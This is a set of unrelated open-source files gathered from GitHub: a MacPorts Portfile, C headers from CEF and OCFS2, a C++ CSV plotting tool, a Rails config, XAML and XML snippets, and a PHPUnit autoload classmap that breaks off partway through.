# -*- coding: utf-8; mode: tcl; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- vim:fenc=utf-8:ft=tcl:et:sw=4:ts=4:sts=4 PortSystem 1.0 PortGroup github 1.0 PortGroup cmake 1.1 PortGroup qt5 1.0 github.setup ENSTABretagneRobotics VIBES 0.2.3 categories graphics platforms darwin maintainers nomaintainer description Visualizer for Intervals and Boxes long_description VIBes is a visualization system that aims at providing\ people working with interval methods a way to display results (boxes, pavings),\ without worrying with GUI programming. It provides drawing functions accessible\ from a lot of programming languages, without complex installation and library\ dependencies. The main design goal of VIBes is to be cross-platform, available\ from different programming languages, simple to set-up, easy to port to a new\ language. checksums rmd160 165c8e17970ba55ed78952b674286099cbfd1c68 \ sha256 ff554b0ea18f8c41190894944f614552925ee1c7d94e4133f7e42c0eb864dcda \ size 669976 qt5.depends_component \ qtsvg depends_build-append \ port:ibex-lib\ port:pbzip2 patchfiles patch-vibes-packaging.diff cmake.source_dir ${worksrcpath}/viewer
{ "pile_set_name": "Github" }
// Copyright (c) 2015 Marshall A. Greenblatt. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the name Chromium Embedded // Framework nor the names of its contributors may be used to endorse // or promote products derived from this software without specific prior // written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // --------------------------------------------------------------------------- // // This file was generated by the CEF translator tool and should not edited // by hand. See the translator.README.txt file in the tools directory for // more information. // #ifndef CEF_INCLUDE_CAPI_CEF_PROCESS_MESSAGE_CAPI_H_ #define CEF_INCLUDE_CAPI_CEF_PROCESS_MESSAGE_CAPI_H_ #pragma once #include "include/capi/cef_base_capi.h" #include "include/capi/cef_values_capi.h" #ifdef __cplusplus extern "C" { #endif /// // Structure representing a message. Can be used on any process and thread. /// typedef struct _cef_process_message_t { /// // Base structure. /// cef_base_t base; /// // Returns true (1) if this object is valid. Do not call any other functions // if this function returns false (0). /// int (CEF_CALLBACK *is_valid)(struct _cef_process_message_t* self); /// // Returns true (1) if the values of this object are read-only. Some APIs may // expose read-only objects. /// int (CEF_CALLBACK *is_read_only)(struct _cef_process_message_t* self); /// // Returns a writable copy of this object. /// struct _cef_process_message_t* (CEF_CALLBACK *copy)( struct _cef_process_message_t* self); /// // Returns the message name. /// // The resulting string must be freed by calling cef_string_userfree_free(). cef_string_userfree_t (CEF_CALLBACK *get_name)( struct _cef_process_message_t* self); /// // Returns the list of arguments. /// struct _cef_list_value_t* (CEF_CALLBACK *get_argument_list)( struct _cef_process_message_t* self); } cef_process_message_t; /// // Create a new cef_process_message_t object with the specified name. /// CEF_EXPORT cef_process_message_t* cef_process_message_create( const cef_string_t* name); #ifdef __cplusplus } #endif #endif // CEF_INCLUDE_CAPI_CEF_PROCESS_MESSAGE_CAPI_H_
{ "pile_set_name": "Github" }
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"> <ResourceDictionary.MergedDictionaries> <ResourceDictionary Source="Basic/Colors/Colors.xaml"/> </ResourceDictionary.MergedDictionaries> </ResourceDictionary>
{ "pile_set_name": "Github" }
/* -*- mode: c; c-basic-offset: 8; -*- * vim: noexpandtab sw=8 ts=8 sts=0: * * dlmdebug.h * * Copyright (C) 2008 Oracle. All rights reserved. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public * License along with this program; if not, write to the * Free Software Foundation, Inc., 59 Temple Place - Suite 330, * Boston, MA 021110-1307, USA. * */ #ifndef DLMDEBUG_H #define DLMDEBUG_H void dlm_print_one_mle(struct dlm_master_list_entry *mle); #ifdef CONFIG_DEBUG_FS struct dlm_debug_ctxt { struct kref debug_refcnt; struct dentry *debug_state_dentry; struct dentry *debug_lockres_dentry; struct dentry *debug_mle_dentry; struct dentry *debug_purgelist_dentry; }; struct debug_lockres { int dl_len; char *dl_buf; struct dlm_ctxt *dl_ctxt; struct dlm_lock_resource *dl_res; }; int dlm_debug_init(struct dlm_ctxt *dlm); void dlm_debug_shutdown(struct dlm_ctxt *dlm); int dlm_create_debugfs_subroot(struct dlm_ctxt *dlm); void dlm_destroy_debugfs_subroot(struct dlm_ctxt *dlm); int dlm_create_debugfs_root(void); void dlm_destroy_debugfs_root(void); #else static inline int dlm_debug_init(struct dlm_ctxt *dlm) { return 0; } static inline void dlm_debug_shutdown(struct dlm_ctxt *dlm) { } static inline int dlm_create_debugfs_subroot(struct dlm_ctxt *dlm) { return 0; } static inline void dlm_destroy_debugfs_subroot(struct dlm_ctxt *dlm) { } static inline int dlm_create_debugfs_root(void) { return 0; } static inline void dlm_destroy_debugfs_root(void) { } #endif /* CONFIG_DEBUG_FS */ #endif /* DLMDEBUG_H */
{ "pile_set_name": "Github" }
#include <pangolin/pangolin.h> #include <pangolin/utils/argagg.hpp> #include <pangolin/utils/file_utils.h> #include <functional> #include <thread> #include "csv_data_loader.h" namespace argagg{ namespace convert { template<> pangolin::Rangef arg<pangolin::Rangef>(char const* str) { std::stringstream ss(str); pangolin::Rangef r; ss >> r.min; ss.get(); ss >> r.max; return r; } }} int main( int argc, char* argv[] ) { // Parse command line argagg::parser argparser {{ { "help", {"-h", "--help"}, "Print usage information and exit.", 0}, { "header", {"-H","--header"}, "Treat 1st row as column titles", 0}, { "x", {"-x"}, "X-axis series to plot, seperated by commas (default: '$i')", 1}, { "y", {"-y"}, "Y-axis series to plot, seperated by commas (eg: '$0,sin($1),sqrt($2+$3)' )", 1}, { "delim", {"-d"}, "Expected column delimitter (default: ',')", 1}, { "xrange", {"-X","--x-range"}, "X-Axis min:max view (default: '0:100')", 1}, { "yrange", {"-Y","--y-range"}, "Y-Axis min:max view (default: '0:100')", 1}, { "skip", {"-s","--skip"}, "Skip n rows of file, seperated by commas per file (default: '0,...')", 1}, }}; argagg::parser_results args = argparser.parse(argc, argv); if ( (bool)args["help"] || !args.pos.size()) { std::cerr << "Usage: Plotter [options] file1.csv [fileN.csv]*" << std::endl << argparser << std::endl << " where: $i is a placeholder for the datum index," << std::endl << " $0, $1, ... are placeholders for the 0th, 1st, ... sequential datum values over the input files" << std::endl; return 0; } // Default values const std::string xs = args["x"].as<std::string>("$i"); const std::string ys = args["y"].as<std::string>("$0"); const char delim = args["delim"].as<char>(','); const pangolin::Rangef xrange = args["xrange"].as<>(pangolin::Rangef(0.0f,100.0f)); const pangolin::Rangef yrange = args["yrange"].as<>(pangolin::Rangef(0.0f,100.0f)); const std::string skips = args["skip"].as<std::string>(""); const std::vector<std::string> skipvecstr = pangolin::Split(skips,','); std::vector<size_t> skipvec; for(const std::string& s : skipvecstr) { skipvec.push_back(std::stoul(s)); } if( !(skipvec.size() == 0 || skipvec.size() == args.count()) ) { std::cerr << "Skip argument must be empty or correspond to the number of files specified (" << args.count() << ")" << std::endl; return -1; } pangolin::DataLog log; CsvDataLoader csv_loader(args.all_as<std::string>(), delim); if(args["header"]) { std::vector<std::string> labels; csv_loader.ReadRow(labels); log.SetLabels(labels); } // Load asynchronously incase the file is large or is being read interactively from stdin bool keep_loading = true; std::thread data_thread([&](){ if(!csv_loader.SkipStreamRows(skipvec)) { return; } std::vector<std::string> row; while(keep_loading && csv_loader.ReadRow(row)) { std::vector<float> row_num(row.size(), std::numeric_limits<float>::quiet_NaN() ); for(size_t i=0; i< row_num.size(); ++i) { try{ row_num[i] = std::stof(row[i]); }catch(const std::invalid_argument& e){ std::cerr << "Warning: couldn't parse '" << row[i] << "' as numeric data (use -H option to include header)" << std::endl; } } log.Log(row_num); } }); pangolin::CreateWindowAndBind("Plotter", 640, 480); pangolin::Plotter plotter(&log, xrange.min, xrange.max, yrange.min, yrange.max, 0.001, 0.001); if( (bool)args["x"] || (bool)args["y"]) { plotter.ClearSeries(); std::vector<std::string> xvec = pangolin::Split(xs,','); std::vector<std::string> yvec = pangolin::Split(ys,','); if( !(xvec.size() == 1 || xvec.size() == yvec.size()) ) { std::cout << "x-series dimensions must be one, or equal to y-series dimensions" << std::endl; return -1; } for(size_t i=0; i < yvec.size(); ++i) { plotter.AddSeries( (xvec.size()==1) ? xvec[0] : xvec[i],yvec[i]); } } plotter.SetBounds(0.0, 1.0, 0.0, 1.0); pangolin::DisplayBase().AddDisplay(plotter); while( !pangolin::ShouldQuit() ) { glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); pangolin::FinishFrame(); } keep_loading = false; data_thread.join(); return 0; }
{ "pile_set_name": "Github" }
require File.expand_path('../boot', __FILE__) require 'rails/all' # Require the gems listed in Gemfile, including any gems # you've limited to :test, :development, or :production. Bundler.require(:default, Rails.env) module Cywin class Application < Rails::Application # Settings in config/environments/* take precedence over those specified here. # Application configuration should go into files in config/initializers # -- all .rb files in that directory are automatically loaded. # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone. # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC. # config.time_zone = 'Central Time (US & Canada)' # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] config.i18n.enforce_available_locales = false config.i18n.default_locale = (ENV['LOCALE'] || 'zh-CN').to_sym config.action_controller.action_on_unpermitted_parameters = :log config.action_mailer.preview_path = "#{Rails.root}/spec/mailers/previews" # generators config.generators.assets = false config.generators.helper = false config.active_record.observers = :project_observer, :star_observer, :fun_observer, :member_observer, :investment_observer, :person_require_observer, :person_requires_user_observer, :talk_observer config.generators do |g| g.test_framework :rspec, view_specs: false end end end
{ "pile_set_name": "Github" }
<Canvas> <Kind>42</Kind> <Name>SystemSettings</Name> <IsMinified>1</IsMinified> <XPosition>1.000000000</XPosition> <YPosition>93.000000000</YPosition> </Canvas> <Widget> <Kind>2</Kind> <Name>DEBUG</Name> <Value>0</Value> </Widget>
{ "pile_set_name": "Github" }
<?php // autoload_classmap.php generated by Composer $vendorDir = dirname(dirname(__FILE__)); $baseDir = dirname($vendorDir); return array( 'File_Iterator' => $vendorDir . '/phpunit/php-file-iterator/File/Iterator.php', 'File_Iterator_Facade' => $vendorDir . '/phpunit/php-file-iterator/File/Iterator/Facade.php', 'File_Iterator_Factory' => $vendorDir . '/phpunit/php-file-iterator/File/Iterator/Factory.php', 'PHPUnit_Extensions_GroupTestSuite' => $vendorDir . '/phpunit/phpunit/PHPUnit/Extensions/GroupTestSuite.php', 'PHPUnit_Extensions_PhptTestCase' => $vendorDir . '/phpunit/phpunit/PHPUnit/Extensions/PhptTestCase.php', 'PHPUnit_Extensions_PhptTestCase_Logger' => $vendorDir . '/phpunit/phpunit/PHPUnit/Extensions/PhptTestCase/Logger.php', 'PHPUnit_Extensions_PhptTestSuite' => $vendorDir . '/phpunit/phpunit/PHPUnit/Extensions/PhptTestSuite.php', 'PHPUnit_Extensions_RepeatedTest' => $vendorDir . '/phpunit/phpunit/PHPUnit/Extensions/RepeatedTest.php', 'PHPUnit_Extensions_TestDecorator' => $vendorDir . '/phpunit/phpunit/PHPUnit/Extensions/TestDecorator.php', 'PHPUnit_Extensions_TicketListener' => $vendorDir . '/phpunit/phpunit/PHPUnit/Extensions/TicketListener.php', 'PHPUnit_Framework_Assert' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Assert.php', 'PHPUnit_Framework_AssertionFailedError' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/AssertionFailedError.php', 'PHPUnit_Framework_Comparator' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Comparator.php', 'PHPUnit_Framework_ComparatorFactory' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/ComparatorFactory.php', 'PHPUnit_Framework_Comparator_Array' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Comparator/Array.php', 'PHPUnit_Framework_Comparator_DOMDocument' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Comparator/DOMDocument.php', 'PHPUnit_Framework_Comparator_Double' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Comparator/Double.php', 'PHPUnit_Framework_Comparator_Exception' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Comparator/Exception.php', 'PHPUnit_Framework_Comparator_MockObject' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Comparator/MockObject.php', 'PHPUnit_Framework_Comparator_Numeric' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Comparator/Numeric.php', 'PHPUnit_Framework_Comparator_Object' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Comparator/Object.php', 'PHPUnit_Framework_Comparator_Resource' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Comparator/Resource.php', 'PHPUnit_Framework_Comparator_Scalar' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Comparator/Scalar.php', 'PHPUnit_Framework_Comparator_SplObjectStorage' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Comparator/SplObjectStorage.php', 'PHPUnit_Framework_Comparator_Type' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Comparator/Type.php', 'PHPUnit_Framework_ComparisonFailure' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/ComparisonFailure.php', 'PHPUnit_Framework_Constraint' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint.php', 'PHPUnit_Framework_Constraint_And' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/And.php', 'PHPUnit_Framework_Constraint_ArrayHasKey' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/ArrayHasKey.php', 'PHPUnit_Framework_Constraint_Attribute' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/Attribute.php', 'PHPUnit_Framework_Constraint_Callback' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/Callback.php', 'PHPUnit_Framework_Constraint_ClassHasAttribute' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/ClassHasAttribute.php', 'PHPUnit_Framework_Constraint_ClassHasStaticAttribute' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/ClassHasStaticAttribute.php', 'PHPUnit_Framework_Constraint_Composite' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/Composite.php', 'PHPUnit_Framework_Constraint_Count' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/Count.php', 'PHPUnit_Framework_Constraint_Exception' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/Exception.php', 'PHPUnit_Framework_Constraint_ExceptionCode' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/ExceptionCode.php', 'PHPUnit_Framework_Constraint_ExceptionMessage' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/ExceptionMessage.php', 'PHPUnit_Framework_Constraint_FileExists' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/FileExists.php', 'PHPUnit_Framework_Constraint_GreaterThan' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/GreaterThan.php', 'PHPUnit_Framework_Constraint_IsAnything' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/IsAnything.php', 'PHPUnit_Framework_Constraint_IsEmpty' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/IsEmpty.php', 'PHPUnit_Framework_Constraint_IsEqual' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/IsEqual.php', 'PHPUnit_Framework_Constraint_IsFalse' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/IsFalse.php', 'PHPUnit_Framework_Constraint_IsIdentical' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/IsIdentical.php', 'PHPUnit_Framework_Constraint_IsInstanceOf' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/IsInstanceOf.php', 'PHPUnit_Framework_Constraint_IsJson' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/IsJson.php', 'PHPUnit_Framework_Constraint_IsNull' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/IsNull.php', 'PHPUnit_Framework_Constraint_IsTrue' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/IsTrue.php', 'PHPUnit_Framework_Constraint_IsType' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/IsType.php', 'PHPUnit_Framework_Constraint_JsonMatches' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/JsonMatches.php', 'PHPUnit_Framework_Constraint_JsonMatches_ErrorMessageProvider' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/JsonMatches/ErrorMessageProvider.php', 'PHPUnit_Framework_Constraint_LessThan' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/LessThan.php', 'PHPUnit_Framework_Constraint_Not' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/Not.php', 'PHPUnit_Framework_Constraint_ObjectHasAttribute' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/ObjectHasAttribute.php', 'PHPUnit_Framework_Constraint_Or' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/Or.php', 'PHPUnit_Framework_Constraint_PCREMatch' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/PCREMatch.php', 'PHPUnit_Framework_Constraint_SameSize' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/SameSize.php', 'PHPUnit_Framework_Constraint_StringContains' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/StringContains.php', 'PHPUnit_Framework_Constraint_StringEndsWith' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/StringEndsWith.php', 'PHPUnit_Framework_Constraint_StringMatches' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/StringMatches.php', 'PHPUnit_Framework_Constraint_StringStartsWith' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/StringStartsWith.php', 'PHPUnit_Framework_Constraint_TraversableContains' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/TraversableContains.php', 'PHPUnit_Framework_Constraint_TraversableContainsOnly' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/TraversableContainsOnly.php', 'PHPUnit_Framework_Constraint_Xor' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Constraint/Xor.php', 'PHPUnit_Framework_Error' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Error.php', 'PHPUnit_Framework_Error_Deprecated' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Error/Deprecated.php', 'PHPUnit_Framework_Error_Notice' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Error/Notice.php', 'PHPUnit_Framework_Error_Warning' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Error/Warning.php', 'PHPUnit_Framework_Exception' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Exception.php', 'PHPUnit_Framework_ExpectationFailedException' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/ExpectationFailedException.php', 'PHPUnit_Framework_IncompleteTest' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/IncompleteTest.php', 'PHPUnit_Framework_IncompleteTestError' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/IncompleteTestError.php', 'PHPUnit_Framework_MockObject_Builder_Identity' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Builder/Identity.php', 'PHPUnit_Framework_MockObject_Builder_InvocationMocker' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Builder/InvocationMocker.php', 'PHPUnit_Framework_MockObject_Builder_Match' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Builder/Match.php', 'PHPUnit_Framework_MockObject_Builder_MethodNameMatch' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Builder/MethodNameMatch.php', 'PHPUnit_Framework_MockObject_Builder_Namespace' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Builder/Namespace.php', 'PHPUnit_Framework_MockObject_Builder_ParametersMatch' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Builder/ParametersMatch.php', 'PHPUnit_Framework_MockObject_Builder_Stub' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Builder/Stub.php', 'PHPUnit_Framework_MockObject_Generator' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Generator.php', 'PHPUnit_Framework_MockObject_Invocation' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Invocation.php', 'PHPUnit_Framework_MockObject_InvocationMocker' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/InvocationMocker.php', 'PHPUnit_Framework_MockObject_Invocation_Object' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Invocation/Object.php', 'PHPUnit_Framework_MockObject_Invocation_Static' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Invocation/Static.php', 'PHPUnit_Framework_MockObject_Invokable' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Invokable.php', 'PHPUnit_Framework_MockObject_Matcher' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Matcher.php', 'PHPUnit_Framework_MockObject_Matcher_AnyInvokedCount' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Matcher/AnyInvokedCount.php', 'PHPUnit_Framework_MockObject_Matcher_AnyParameters' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Matcher/AnyParameters.php', 'PHPUnit_Framework_MockObject_Matcher_Invocation' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Matcher/Invocation.php', 'PHPUnit_Framework_MockObject_Matcher_InvokedAtIndex' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Matcher/InvokedAtIndex.php', 'PHPUnit_Framework_MockObject_Matcher_InvokedAtLeastOnce' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Matcher/InvokedAtLeastOnce.php', 'PHPUnit_Framework_MockObject_Matcher_InvokedCount' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Matcher/InvokedCount.php', 'PHPUnit_Framework_MockObject_Matcher_InvokedRecorder' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Matcher/InvokedRecorder.php', 'PHPUnit_Framework_MockObject_Matcher_MethodName' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Matcher/MethodName.php', 'PHPUnit_Framework_MockObject_Matcher_Parameters' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Matcher/Parameters.php', 'PHPUnit_Framework_MockObject_Matcher_StatelessInvocation' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Matcher/StatelessInvocation.php', 'PHPUnit_Framework_MockObject_MockBuilder' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/MockBuilder.php', 'PHPUnit_Framework_MockObject_MockObject' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/MockObject.php', 'PHPUnit_Framework_MockObject_Stub' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Stub.php', 'PHPUnit_Framework_MockObject_Stub_ConsecutiveCalls' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Stub/ConsecutiveCalls.php', 'PHPUnit_Framework_MockObject_Stub_Exception' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Stub/Exception.php', 'PHPUnit_Framework_MockObject_Stub_MatcherCollection' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Stub/MatcherCollection.php', 'PHPUnit_Framework_MockObject_Stub_Return' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Stub/Return.php', 'PHPUnit_Framework_MockObject_Stub_ReturnArgument' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Stub/ReturnArgument.php', 'PHPUnit_Framework_MockObject_Stub_ReturnCallback' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Stub/ReturnCallback.php', 'PHPUnit_Framework_MockObject_Stub_ReturnSelf' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Stub/ReturnSelf.php', 'PHPUnit_Framework_MockObject_Stub_ReturnValueMap' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Stub/ReturnValueMap.php', 'PHPUnit_Framework_MockObject_Verifiable' => $vendorDir . '/phpunit/phpunit-mock-objects/PHPUnit/Framework/MockObject/Verifiable.php', 'PHPUnit_Framework_OutputError' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/OutputError.php', 'PHPUnit_Framework_SelfDescribing' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/SelfDescribing.php', 'PHPUnit_Framework_SkippedTest' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/SkippedTest.php', 'PHPUnit_Framework_SkippedTestError' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/SkippedTestError.php', 'PHPUnit_Framework_SkippedTestSuiteError' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/SkippedTestSuiteError.php', 'PHPUnit_Framework_SyntheticError' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/SyntheticError.php', 'PHPUnit_Framework_Test' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Test.php', 'PHPUnit_Framework_TestCase' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/TestCase.php', 'PHPUnit_Framework_TestFailure' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/TestFailure.php', 'PHPUnit_Framework_TestListener' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/TestListener.php', 'PHPUnit_Framework_TestResult' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/TestResult.php', 'PHPUnit_Framework_TestSuite' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/TestSuite.php', 'PHPUnit_Framework_TestSuite_DataProvider' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/TestSuite/DataProvider.php', 'PHPUnit_Framework_Warning' => $vendorDir . '/phpunit/phpunit/PHPUnit/Framework/Warning.php', 'PHPUnit_Runner_BaseTestRunner' => $vendorDir . '/phpunit/phpunit/PHPUnit/Runner/BaseTestRunner.php', 'PHPUnit_Runner_StandardTestSuiteLoader' => $vendorDir . '/phpunit/phpunit/PHPUnit/Runner/StandardTestSuiteLoader.php', 'PHPUnit_Runner_TestSuiteLoader' => $vendorDir . '/phpunit/phpunit/PHPUnit/Runner/TestSuiteLoader.php', 'PHPUnit_Runner_Version' => $vendorDir . '/phpunit/phpunit/PHPUnit/Runner/Version.php', 'PHPUnit_TextUI_Command' => $vendorDir . '/phpunit/phpunit/PHPUnit/TextUI/Command.php', 'PHPUnit_TextUI_ResultPrinter' => $vendorDir . '/phpunit/phpunit/PHPUnit/TextUI/ResultPrinter.php', 'PHPUnit_TextUI_TestRunner' => $vendorDir . '/phpunit/phpunit/PHPUnit/TextUI/TestRunner.php', 'PHPUnit_Util_Class' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/Class.php', 'PHPUnit_Util_Configuration' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/Configuration.php', 'PHPUnit_Util_DeprecatedFeature' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/DeprecatedFeature.php', 'PHPUnit_Util_DeprecatedFeature_Logger' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/DeprecatedFeature/Logger.php', 